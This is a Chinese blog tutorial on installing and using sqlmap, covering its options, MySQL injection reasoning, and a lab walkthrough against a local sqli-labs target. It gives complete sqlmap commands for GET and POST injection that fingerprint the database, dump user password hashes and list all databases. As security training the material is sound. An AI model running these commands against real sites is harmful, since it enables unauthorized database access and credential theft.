SQL注入工具sqlmap安装使用详解&靶场实验

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、sqlmap简介

sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。

项目地址:https://github.com/sqlmapproject/sqlmap

kali系统内置sqlmap工具,可以先查看到版本号,如果不最新版本会提示,升级版本可用命令 apt-get upgrade进行升级。

在这里插入图片描述

kali系统下使用命令

# 查看常用命令列表
sqlmap -h
# 查看所有命令列表
sqlmap -hh
# 查看sqlmap版本号,注意前面是2个横杆
sqlmap --version

如果需要kali系统虚拟机,请关注我的公众号:大象只为你,后台回复:虚拟机。

其他系统比如windows,可以下载源码下来,运行环境是python2.6, 2.7 and 3.x 。以windows为例,使用git命令克隆代码到本地,或者在项目右侧的Release选择最新的Source code(zip)下载并解压即可,确保自己本机有python环境就可用了。

# git命令下载
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
# 查看常用命令列表
python sqlmap.py -h
# 查看所有命令列表
python sqlmap.py -hh

kali系统与windows使用命令不同点在于:前者封装好为sqlmap,后者要加上python,其他没有不同。我个人比较习惯在kali系统下使用,下文给的示例命令都是基于kali系统。

2 、SQL注入攻击流程

SQL注入漏洞产生根本条件是可控变量的存在和特定函数。SQL注入攻击流程一般是猜测数据库类型,再根据数据库类型选择思路。常见开发语言和数据库组合如下:

ASP+Access
ASP.NET+MSSQL
PHP+MySQL
Java+MySQL

怎么查看网站使用开发语言,可用浏览器插件Wappalyzer,或浏览器按F12看网络请求的响应头X-Powered-By会体现出来。

在这里插入图片描述

3、MySQL攻击思路

1、非root的注入攻击:

常规类的猜解,黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户。

2、root用户的注入攻击:

文件读写操作,跨库查询注入等。

MySQL5.0以上版本,自带的数据库information_schema,存储数据库下的数据库名及表名,列名信息的数据库。想要获取到相关信息可从以下几方面着手:

1、数据库版本:version(),看是否带有库information_schema,可用来猜解表名、列名、数据等;
2、数据库用户:user(),看是否符合ROOT型注入攻击;
3、当前操作系统:@@version_compile_os,看是否支持大小写或文件路径选择;
4、数据库名字:database(),为后期猜解指定数据库下的表、列做准备。

4、sqlmap常用命令介绍

-u  #注入点,也就是请求url地址,get请求在此处不再加上构造的poc
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
--data #通过POST发送数据,这个我建议使用参数-r t1.txt t1.txt为请求体内容
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 

更多命令详解请参考:https://www.cnblogs.com/bmjoker/p/9326258.html ,里面有详细命令含义和一些常用的组合命令。

5、靶场实验

以sqli-labs靶场实验SQL攻击注入,靶场搭建请详见我的另一篇文章《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

5.1、get方式

sqli靶场选择get请求的Less-1

在这里插入图片描述

# 确认数据库类型、数据库版本信息、当前用户名称、当前数据库名称、数据库用户所有密码、列出所有数据库 
sqlmap -u "http://192.168.242.1/sqli/Less-2/?id=1" -f -b --current-user --current-db --passwords --dbs -v 0

在kali系统输入该命令后按enter执行命令,过程会提问y或n进行确认是否继续操作。如果想继续操作,则输入y或按enter,如果不继续输入n。在爆破密码过程会提示密码字典文件,如果自己没有其他更好的选择,按默认即可,按enter继续。
在这里插入图片描述
在这里插入图片描述

5.2、post方式

sqli靶场选择post请求的Less-11,打开Burp suite,在输入框架输入任意账号密码,在Burp suite的历史请求记录找到请求记录,把Request的请求体copy到一个新建的文本文件,比如t1.txt,**注意在username=admin后要加*标识为SQL注入点。**然后把t1.txt文件复制到kali系统的sqlmap命令目录下。

在这里插入图片描述

在执行sqlmap命令时所在目录,比如/home/kali,把t1.txt复制到/home/kali下。

# 确认数据库类型、数据库版本信息、当前用户名称、当前数据库名称、数据库用户所有密码、列出所有数据库 
# 因为t1.txt里面已经有包含请求路径了,就不需要再设置-u了
sqlmap -r t1.txt -f -b --current-user --current-db --passwords --dbs -v 0

同样的输入该命令后按enter执行命令,过程会提问y或n进行确认是否继续操作。正常情况下都是输入y或按enter往下执行,这边只截取与get方式不同点,后面信息列出来和get一样。

在这里插入图片描述

5.3、题外话

sqlmap使用起来真的很简单,但我一直没有使用,最开始给自己找借口说想用手工注入的方式,在学习阶段确实是以手工方式是有助于理解。后面自己懂了原理,总是不想看文档学习,一拖再拖,今天学习后操作起来一点都不难,在挖漏洞方面也会更高效。

6、我的公众号

敬请关注我的公众号:大象只为你,持续更新网安相关知识中…

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值